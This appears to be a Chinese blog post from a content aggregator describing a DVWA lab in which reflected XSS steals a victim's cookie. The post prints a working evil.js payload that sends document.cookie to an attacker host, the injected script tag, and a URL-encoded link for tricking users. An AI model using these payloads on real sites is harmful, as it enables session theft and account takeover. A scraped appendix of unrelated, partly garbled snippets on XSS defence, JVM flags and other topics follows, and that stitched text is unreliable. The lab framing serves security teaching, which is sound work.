利用XSS获取cookie

2023-11-04

如果web应用在用户输入的地方没有过滤特殊字符,比如<, >, ', ", <script>, javascript 等字符,而且在变量输出的地方没有使用安全的编码函数,比如PHP的htmlentities()htmlspecialchars()函数,JavaScript中的escapeJavascript函数,这样的web应用极易出现XSS漏洞。XSS攻击的危害主要有盗取用户cookie、跳转到恶意网站等,危害巨大,常年居Owasp top 10前三。

为了理解XSS盗取cookie的原理,进行实验。实验需准备:(1)两台主机,主机A(IP地址为IPa)的用户正在浏览具有XSS的网站,主机B(IP地址为IPb)运行着攻击者的恶意代码。(2)DVWA安全等级设为low,充当具有XSS漏洞的网站。
攻击者先上传一个JavaScript脚本到主机B上,即xss payload,这段脚本命名为evil.js,可以这样写:

var img = document.createElement("img");
img.src = "http://IPb/log?"+escape(document.cookie);
document.body.appendChild(img);

这段代码将document.cookie作为对象传到主机B上。http://IPb/log可以存在,也可以不存在,因为这个请求会在主机B的服务器日志中留下日志。

主机A打开DVWA网站的XSS选项,在what’s your name输入框输入:<script src=http://IPb/evil.js ></script>并提交:
这里写图片描述

此时主机A的cookie值就会发送到主机B上,查看主机B的web日志:
这里写图片描述
发现主机A的cookie值已经存在web日志里了。

虽然是实验,但是如果DVWA有XSS漏洞,而攻击者构造一个http://IP/DVWA/vulnerabilities/xss_r/?name=%3Cscript+src%3Dhttp%3A%2F%2FIPb%2Fevil.js+%3E%3C%2Fscript%3E#,诱骗了用户点击,那么用户的cookie就会发到主机B上,攻击者就可以登录受害者的账户了。

本实验中的xss payload参考《白帽子讲web安全》

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

利用XSS获取cookie 的相关文章

  • 涉及 XSS 时,htmlspecialchars 与 htmlentities

    我看到了很多关于这个问题的相互矛盾的答案 许多人喜欢引用这样的话 仅靠 php 函数并不能保护您免受 xss 攻击 到底哪些 XSS 可以通过 htmlspecialchars 进行攻击 哪些 XSS 可以通过 htmlentities 进
  • AntiXss.HtmlEncode 和 HttpUtility.HtmlEncode 有什么区别?

    我刚刚遇到一个问题 其答案建议使用 AntiXss 库来避免跨站点脚本编写 听起来很有趣 阅读msdn 博客 http msdn microsoft com en us library aa973813 aspx 它似乎只提供了一个 Htm
  • 防止我的nodejs服务器中的xhr攻击[关闭]

    很难说出这里问的是什么 这个问题是含糊的 模糊的 不完整的 过于宽泛的或修辞性的 无法以目前的形式得到合理的回答 如需帮助澄清此问题以便重新打开 访问帮助中心 help reopen questions 我正在开发一个将与客户端移动应用程序
  • 【网络安全】XSS如何绕过HttpOnly获取Cookie以及XSS与CORS漏洞利用

    目录 HttpOnly XSS如何绕过HttpOnly获取Cookie 直接读取 目录 HttpOnly 当开启HttpOnly时不依靠cookie如何登录后台 直接读取 表单劫持 XSS如何绕过HttpOnly获取Cookie 利用php
  • CORS和XSS有什么联系吗?

    维基百科页面中提到了跨站脚本 XSS CORS http en wikipedia org wiki Cross origin resource sharing 但我不明白它们有什么关系 CORS 和 XSS 之间有什么联系 维基百科文章中
  • 为什么 setInterval 不能避免 XSS?

    我正在经历OWASP 跨站脚本防止备忘单 https cheatsheetseries owasp org cheatsheets Cross Site Scripting Prevention Cheat Sheet html 规则 3
  • 过滤输入 URL 的最佳方法是什么?

    我有一个接受来自 PHP 用户的 URL 的表单 我应该允许或禁止哪些字符 目前我使用 input preg replace a zA Z0 9 string 输入 子字符串 输入 0 255 因此 它被修剪为 255 个字符 并且只能包含
  • 跨站脚本攻击和同源策略

    我熟悉持久性和非持久性XSS http en wikipedia org wiki Cross site scripting 我也知道同源政策 http en wikipedia org wiki Same origin policy防止
  • JVM优化之 -Xss -Xms -Xmx -Xmn 参数设置

    JVM优化之 Xss Xms Xmx Xmn 参数设置 XmnXmsXmxXss有什么区别 Xmn Xms Xmx Xss都是JVM对内存的配置参数 我们可以根据不同需要区修改这些参数 以达到运行程序的最好效果 Xms 堆内存的初始大小 默
  • 如何使用 HTML/PHP 防止 XSS?

    我该如何预防XSS https en wikipedia org wiki Cross site scripting 跨站点脚本 仅使用 HTML 和 PHP 我已经看过很多关于这个主题的其他帖子 但我还没有找到一篇文章清楚 简洁地说明如何
  • ASP.Net Core 中的 AntiXSS

    Microsoft Web 保护库 AntiXSS https wpl codeplex com 已达到使用寿命 该页面指出 在 NET 4 0 中 框架中包含了一个 AntiXSS 版本 可以通过配置启用 在 ASP NET v5 中 基
  • 为什么标签 x = txtName.Text;遭受XSS攻击,如何预防?

    我有以下代码 label x txtName Text 当安全团队分析该 dll 时 他们表示可以对上述代码执行 XSS 攻击 我知道文本框Text属性并不能防止 XSS 攻击 那么我现在应该做什么 下面的修改能解决这个问题吗 label
  • 将准备好的语句包装在函数中[重复]

    这个问题在这里已经有答案了 我一直在阅读有关 SQL 注入的文章 并决定修改我的代码以防止 SQL 注入 例如 我有一个输入 我将其值插入到数据库中 最初 我对注射的防范是这样的 function test input data data
  • 使用 Spring MVC 框架清理用户输入

    我正在使用 spring mvc 框架开发 Web 应用程序 我想知道是否有任何最好的方法来清理用户输入或通用方法来清理 springs 中的所有用户输入以避免 XSS 和 Sql 注入攻击 您可以使用Filters在 Spring 框架中
  • html() 与 innerHTML jquery/javascript 和 XSS 攻击

    我正在对我自己的代码测试 xss 攻击 下面的示例是一个简单的框 用户可以在其中输入他想要的任何内容 按 测试 后按钮 JS 会将输入字符串显示为两个 div 这是我为了更好地解释我的问题而制作的示例
  • 防止语言环境文件中的 HTML 字符实体被 Rails3 xss 保护破坏

    我们正在构建一个应用程序 这是我们第一个使用 Rails 3 的应用程序 并且我们必须从一开始就构建 I18n 作为完美主义者 我们希望在我们的视图中使用真正的排版 破折号 卷曲引号 省略号等 这意味着在我们的 locales xx yml
  • 使用 CSP 防止自动点击链接 XSS 攻击

    当将 CSP 用于稍微不同的目的 沙箱 时 我意识到一个非常简单的自动点击链接似乎甚至可以绕过相对严格的 CSP 我所描述的内容如下 内容安全政策 default src none script src unsafe inline 还有身体
  • 防止XSS漏洞的措施(比如Twitter前几天的一个)

    就连Twitter这样的知名网站也存在XSS漏洞 我们应该如何预防这种攻击呢 您可以做的第一件事是将您的 cookie 设置为仅 HTTP 这至少可以防止会话 cookie 劫持 就像当您可能是自己网站的管理员时有人窃取您的 cookie
  • 如何正确编码 mailto 链接?

    我正在生成一些 HTML 并且我想生成 XSS 和数据库内容安全的mailto关联 这里使用的正确编码是什么 这个怎么样 myLiteral Text string Format mailto 0 Content Type text htm
  • PHP 中的 htmlspecialchars() 或 Ruby on Rails 中的 h() 是否足以防御所有 XSS(跨站脚本)攻击?

    Is htmlspcialchars user data 在 PHP 中或h user data Ruby on Rails 是否足以防御所有 XSS 跨站脚本 攻击 使用的编码或任何其他可能的考虑因素怎么样 Both htmlspecia

随机推荐

  • 感知机模型

    目录 一 感知机模型 1 1定义 感知机 1 2几何解释 二 损失函数 三 学习算法 3 1感知机学习算法的原始形式 3 2感知机学习算法的对偶形式 一 感知机模型 1 1定义 感知机 假设输入空间 特征空间 是 输出空间是 输入表示实例的
  • 【前端性能】常见前端性能优化

    常见性能优化 前言 一 图片优化 1 雪碧图 图片精灵 2 图片压缩 3 字体图标代替图片 4 webp图片 二 DOM优化 1 缓存DOM节点查找的结果 2 防抖和节流 3 事件代理 4 减少合并DOM操作 5 DOM读写分离 6 DOM
  • VMware虚拟机扩容——Ubuntu的/dev/sda1分区挂在根目录(“/“)下用LVM(逻辑卷管理)模式扩容无效

    一 问题描述 在VMware虚拟机装了Ubuntu18 04 一开始分配的内存是20多个G 如下图 用了一段时间后发现不够用了 需要扩容 然后上网查了一下虚拟机扩容的方法 但是大多数教程的情况是 根目录 挂在类似 dev xxx xxxro
  • ThinkpadE480 win10改win7

    Thinkpad E480win10改win7 电脑配置信息 i7 8550u 直接进PE 一键装机 选择win7镜像安装到系统盘 安装后进系统失败 没有修改bios信息 win10系统改win7设置bios方法图文教程 一起来围观吧 ht
  • Vue3导出excel,使用js-table2excel

    装依赖 npm install js table2excel vue中引入 import table2excel from js table2excel 使用 const column title sn key sn type text t
  • Mysql命令及增删改查操作

    测试工程师的目的是找出软件的不足 并告诉开发工程师 出现问题的环境 操作步骤和输入输出数据 优秀的测试工程师 需要告诉开发团队 软件的不足 这类不足会导致什么情况 如何避免 以及如何去修改 这是为什么高级软件测试工程师比开发工程师工资高的原
  • Qt应用开发(基础篇)——组合框容器 QGroupBox

    一 前言 QGroupBox继承于QWidget 是一个带有标题的组合框架容器控件 QGroupBox组合框容器自带一个顶部标题 一个面板 面板内部展示各种各样的部件 标题用来解释这些部件为什么集合在一起 并且支持键盘快捷方式切换部件焦点
  • c++读文件(一次全读/每行读/多次读)

    我以为这些都很容易在网上找到 谁知网上乱七八糟的东西太多 让我找了很久 开发环境为Windows VS2013 一次全读 std ifstream t path 读文件ifstream 写文件ofstream 可读可写fstream std
  • 开源IOT——一个最小的物联网系统设计方案及源码

    或许这个可以当成是你的毕业设计又或者你可以用它来控制你想控制的东西 总之你可以用它来做一个最小的物联网系统 不过 在这里可能没有那么复杂的功能 因为强调的是最小 BareMinimum 这也是为什么我没有改Arduino上面的工程名的原因
  • [附源码]计算机毕业设计校园疫情管理系统Springboot程序

    项目运行 环境配置 Jdk1 8 Tomcat7 0 Mysql HBuilderX Webstorm也行 Eclispe IntelliJ IDEA Eclispe MyEclispe Sts都支持 项目技术 SSM mybatis Ma
  • SpringMVC SpringBoot Get请求接收复杂参数

    前沿 对于复杂的接口请求 一般都用POST JSON数据的方式 后端用 RequestBody接收 但是对于某些有洁癖的人或者想严格遵循类Restful风格的人来讲 查询数据就是想用GET 怎么实现呢 Request Data public
  • can总线的示波器检测方法

    整理自网络 stm32的can总线是在APB1上的 stm32f10x的主频是72Mhz can外设时钟是36Mhz stm32f2xx的主频是120Mhz can外设时钟是30Mhz STM32 APB1和APB2区别 APB2负责AD
  • Linux统计某文件夹下文件、文件夹的个数

    http blog sina com cn s blog 464f6dba01012vwv html 统计某文件夹下文件的个数 ls l grep wc l 统计某文件夹下目录的个数 ls l grep wc l 统计文件夹下文件的个数 包
  • 瞧瞧,这样的「函数」才叫 Pythonic

    在机器学习中 我们经常需要使用类和函数定义模型的各个部分 例如定义读取数据的函数 预处理数据的函数 模型架构和训练过程的函数等等 那么什么样的函数才是漂亮的 赏心悦目的代码呢 本期教程 会从命名到代码量等六方面探讨如何养成美妙的函数 文末有
  • Python之序列

    序列是一种数据存储方式 用来存储一系列的数据 在内存中 序列就是一块用来存放多个值的连续空间 比如一个整数序列 10 20 30 40 可以这样表示 由于Python3中一切皆对象 在内存中实际是按照如下方式储存的 a 10 20 30 4
  • windows自带虚拟机无法正确安装软件 解决方案

    使用的虚拟机版本Ubuntu 20 04 4 LTS 错误描述 ruby DESKTOP LP8NQUK tmp test sudo apt install imagemagic 6 q16 sudo password for ruby R
  • Linux如何用ftp传输文件【ftp命令】

    Linux如何用ftp传输文件 ftp命令 Windows Linux 带端口的ftp命令 使用 FTP 下载文件 使用 FTP 上传文件 关闭FTP连接 Windows 在Windows系统中 可以用可视化的ftp来传输文件 或者下在文件
  • 第二章:25+ Python 数据操作教程(第八节如何从 PANDAS DATAFRAME 中删除一列或多列)

    在本教程中 我们将介绍如何从 pandas 数据框中删除或删除一个或多个列 是一个用于数据操作的 python 包 它具有以下数据任务的几个功能 目录 在 python 中删除一列 在 Python 中删除多列 如何从 pandas Dat
  • tp5 使用_initialize做验证时验证失败不能直接返回数据和打断程序运行

    在项目开发时写了一个基类 让其他控制器都继承这个类 当访问控制器时基类某些验证时 直接截断返回错误不执行控制器中的解决办法 失败写法 return json encode data 正确写法 echo json encode data ex
  • 利用XSS获取cookie

    如果web应用在用户输入的地方没有过滤特殊字符 比如 lt gt